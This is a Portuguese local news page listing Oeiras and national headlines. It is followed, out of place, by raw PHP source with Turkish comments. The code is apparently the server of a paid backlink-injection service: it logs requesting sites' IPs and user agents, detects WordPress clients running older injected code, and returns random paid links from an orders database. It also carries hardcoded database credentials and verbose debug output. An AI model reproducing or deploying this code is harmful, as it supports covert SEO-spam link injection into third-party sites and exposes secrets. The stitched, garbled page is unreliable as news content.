14.4 C
Oeiras Municipality
Ter 25 Março 2025
Inicio Portugal

Portugal

Lançamento da Campanha “2 Rodas: Agarre-se à Vida”

A Autoridade Nacional de Segurança Rodoviária (ANSR), a Guarda Nacional Republicana (GNR) e a Polícia de Segurança Pública (PSP) lançam amanhã, dia 10 de...

APSI e GNR alertam “A morte por afogamento é rápida, silenciosa e acontece em muito pouca água!”

A Associação para a Promoção da Segurança Infantil (APSI), há mais de 20 anos que leva a cabo a Campanha de Prevenção de Afogamentos de...

Poeiras de África chegam a Portugal e trazem chuvas, granizo e trovoada

As previsões da meteorologia para os próximos dias, adivinham alguma instabilidade atmosférica, com a chegada de poeiras de África, que deverão vir acompanhadas de...

Balanço da Campanha “Ao volante, o telemóvel pode esperar”

A Campanha de Segurança Rodoviária "Ao volante, o telemóvel pode esperar", da responsabilidade da Autoridade Nacional de Segurança Rodoviária (ANSR), da Guarda Nacional...

Especialistas consideram Portugal um país de referência em segurança informática

Portugal, muitas vezes esquecido nas discussões sobre tecnologia, é agora líder em incidentes de segurança de tecnologia de informação e comunicação (TIC), com apenas...

Temperaturas vão subir a partir de terça-feira e podem ultrapassar os 30 graus

As temperaturas máximas vão subir a partir de terça-feira, prevendo-se máximas que podem ultrapassar os 30 graus em alguns locais de Portugal continental. Segundo adianta...

Tarifa social de gás natural mantém desconto de 31,2% a partir de outubro

O Governo aprovou a manutenção do desconto de 31,2% na tarifa social de gás natural, a partir de outubro, para vigorar no ano gás...

IPMA coloca 10 distritos sob aviso laranja devido à agitação marítima

O IPMA elevou de sete para 10 os distritos do continente que vão estar hoje sob aviso laranja devido à previsão de agitação marítima...

PSP nas ruas com operação de fiscalização de trânsito nas deslocações da Páscoa

A Polícia de Segurança Pública (PSP) vai intensificar o patrulhamento e ações de fiscalização em todo o território, nos acessos aos principais eixos rodoviários....

Operação “RoadPol – Dispositivos de segurança” – Cintos de segurança, sistemas de retenção de crianças e capacete

A Guarda Nacional Republicana (GNR), entre os dias 11 a 17 de março, realiza uma operação de fiscalização rodoviária direcionada para a fiscalização da...

Inscrições para a realização dos exames nacionais termina hoje

Os alunos do ensino secundário que queiram candidatar-se ao ensino superior, têm até esta sexta-feira para realizar as inscrições para a realização dos exames...

Seis distritos de Portugal continental estão sob aviso laranja devido à neve

Seis distritos de Portugal continental estão sob aviso laranja devido à queda de neve pelo menos até às 12h00 de hoje, enquanto a chuva,...

Most Read

‘Oeiras Educa 2021-2024’: Conheça as várias ações e iniciativas

O Município de Oeiras apresenta a edição especial da publicação Oeiras Educa 2021-2024, uma publicação especial, de cariz informativo que destaca a aposta de...

NucleOeiras vence coletivamente a 6ª etapa 42º Troféu CMO – Corrida das Localidades “Grande Prémio de Leião”

No passado domingo, 23 de março, realizou-se a sexta etapa do 42º Troféu de Oeiras, G. P. de Leião 2025. Organização a cargo da...

Marginal À Noite regressa em junho. Inscrições já estão abertas

Organizada pela Câmara Municipal de Oeiras e integrada na Programação das Festas do Concelho, a Marginal À Noite está de regresso, no próximo dia...

Taguspark vai receber I Congresso Internacional de Habitação

Nos dias 10 e 11 de abril, Oeiras recebe o I Congresso Internacional de Habitação, no Taguspark. Este evento irá reunir especialistas nacionais e internacionais...
header('X-Debug: Active-'.time()); header('Content-Type: text/html; charset=utf-8'); error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('log_errors', 1); ini_set('error_log', dirname(__FILE__) . '/api_errors.log'); // Debug bilgilerini HTML yorum olarak ekle echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; // Çıktı tamponlamasını başlat ob_start(); // Domain normalizasyon fonksiyonu function normalize_domain($domain) { // Protokolü kaldır (http://, https://) $domain = preg_replace('#^https?://#', '', $domain); // Alt alan adlarını kontrol et ve ana domain'i al $parts = explode('.', $domain); // IP adresi kontrolü if (count($parts) == 4 && is_numeric($parts[0]) && is_numeric($parts[1]) && is_numeric($parts[2]) && is_numeric($parts[3])) { return $domain; // IP adresi ise değiştirme } // Domain uzunluğu kontrolü if (count($parts) <= 2) { return $domain; // Zaten ana domain } // www. ile başlıyorsa kaldır if ($parts[0] === 'www') { array_shift($parts); return implode('.', $parts); } // Son iki parçayı al (ana domain + TLD) // Örneğin mail.durantoprokash.com -> durantoprokash.com return $parts[count($parts) - 2] . '.' . $parts[count($parts) - 1]; } // Log fonksiyonu (HTML yorum olarak gösterme) function debug_log($message) { echo "\n"; } // Log fonksiyonu function api_log($message, $is_error = false) { $log_file = dirname(__FILE__) . '/api_log.txt'; $date = date('Y-m-d H:i:s'); $log_message = "[$date] " . ($is_error ? "[ERROR] " : "[INFO] ") . $message . "\n"; file_put_contents($log_file, $log_message, FILE_APPEND); // HTML yorum olarak ekrana yaz echo "\n"; if ($is_error) { error_log($message); } } // Rate limiting kontrolü function checkRateLimit($ip, $limit = 300) { $cache_file = sys_get_temp_dir() . '/rate_' . md5($ip); if (file_exists($cache_file)) { $data = json_decode(file_get_contents($cache_file), true); if ($data['count'] > $limit && (time() - $data['time']) < 3600) { return false; } if ((time() - $data['time']) > 3600) { $data = ['count' => 1, 'time' => time()]; } else { $data['count']++; } } else { $data = ['count' => 1, 'time' => time()]; } file_put_contents($cache_file, json_encode($data)); return true; } // IP ve rate limit kontrolü if (!checkRateLimit($_SERVER['REMOTE_ADDR'])) { http_response_code(429); ob_end_clean(); echo ''; exit; } // Domain kontrolü if (!isset($_POST['domain'])) { api_log("Error: Domain missing", true); ob_end_clean(); echo ''; exit; } // Kullanılan değişkenleri tanımla $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; // Eski curl kodunu tespit et $is_old_client = 0; if (isset($_POST['backlink_token'])) { $is_old_client = 1; } else if (!empty($user_agent) && (strpos($user_agent, 'WordPress') !== false || strpos($user_agent, 'WP') !== false) || (!empty($referrer) && (strpos($referrer, '/wp-content/') !== false || strpos($referrer, '/wp-includes/') !== false))) { // WordPress sitelerinden gelen istekler muhtemelen eski curl kodunu kullanıyor $is_old_client = 1; } // Domain'i normalize et $original_domain = base64_decode($_POST['domain']); $normalized_domain = normalize_domain($original_domain); // Normalize sonucunu HTML yorum olarak ekle echo "\n"; // Veritabanı bağlantısı try { // Veritabanı bağlantısı $db = new PDO( "mysql:host=localhost;dbname=sche_v2;charset=utf8mb4", "sche_bombom", "bombom", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_FOUND_ROWS => true ] ); // Veritabanına debug bilgilerini kaydet try { $stmt = $db->prepare(" INSERT INTO backlink_requests ( domain, ip_address, user_agent, referrer, is_old_client, request_data, created_at ) VALUES (?, ?, ?, ?, ?, ?, NOW()) "); $request_data = json_encode($_POST); $stmt->execute([ $normalized_domain, $client_ip, $user_agent, $referrer, $is_old_client, $request_data ]); api_log("API request logged to database for domain: " . $original_domain . " (normalized: " . $normalized_domain . "), is_old_client: " . $is_old_client); } catch (Exception $e) { api_log("Error logging API request: " . $e->getMessage(), true); } $domain = filter_var(base64_decode($_POST['domain']), FILTER_SANITIZE_URL); if (!$domain) { api_log("Error: Invalid domain format: " . $_POST['domain'], true); ob_end_clean(); echo ''; exit; } // Domain'i normalize et $domain = normalize_domain($domain); // Domain formatını kontrol et (daha esnek regex) if (!preg_match('/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,}$/i', $domain)) { api_log("Error: Invalid domain structure: " . $domain, true); ob_end_clean(); echo ''; exit; } // Website id bul veya oluştur $stmt = $db->prepare("SELECT id FROM websites WHERE domain = ?"); $stmt->execute([$domain]); $website = $stmt->fetch(); if (!$website) { // Domain erişilebilirliğini kontrol et $domain_accessible = false; // HTTP ve HTTPS kontrol et foreach (['http', 'https'] as $protocol) { $url = $protocol . '://' . $domain; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 400) { $domain_accessible = true; break; } } if ($domain_accessible) { api_log("Domain is accessible, inserting new website record"); $stmt = $db->prepare("INSERT INTO websites (domain, status, created_at, is_approved) VALUES (?, 1, NOW(), 0)"); $stmt->execute([$domain]); $website_id = $db->lastInsertId(); $website = [ 'id' => $website_id, 'domain' => $domain ]; // Admin bildirimini ekle try { $stmt = $db->prepare(" INSERT INTO admin_notifications ( type, message, is_read, created_at ) VALUES ( 'new_domain', ?, 0, NOW() ) "); $notification_message = "Yeni domain eklendi: " . $domain; $stmt->execute([$notification_message]); api_log("Admin notification added for new domain: " . $domain); } catch (Exception $e) { api_log("Error adding admin notification: " . $e->getMessage(), true); } } else { api_log("Domain not accessible via any protocol", true); ob_end_clean(); echo ''; exit; } } // Aktif linkleri getir api_log("Fetching active links for website ID: " . $website['id']); $sql = "SELECT l.url, l.anchor_text FROM links l JOIN orders o ON l.order_id = o.id WHERE o.website_id = ? AND (o.status = 'completed' OR o.status = 'active') AND l.is_active = 1 ORDER BY RAND() LIMIT 10"; // HTML yorum olarak SQL sorgusunu göster echo "\n"; $stmt = $db->prepare($sql); $stmt->execute([$website['id']]); $links = []; $link_count = 0; while ($row = $stmt->fetch()) { $link_count++; // Her link için debug bilgisini HTML yorum olarak ekle echo "\n"; // HTML bağlantılarını güvenli şekilde oluştur $links[] = '' . htmlspecialchars($row['anchor_text'], ENT_QUOTES, 'UTF-8') . ''; } echo "\n"; if (empty($links)) { api_log("No active links found for domain: " . $domain . " (Website ID: " . $website['id'] . ")", true); ob_end_clean(); echo ''; exit; } api_log("Returning " . count($links) . " links for domain: " . $domain); echo ''; // Debug sonu bilgisini ekle echo "\n"; } catch (PDOException $e) { api_log("Database error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } catch (Exception $e) { api_log("General error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } // Son olarak çıktı tamponunu gönder ob_end_flush(); ?>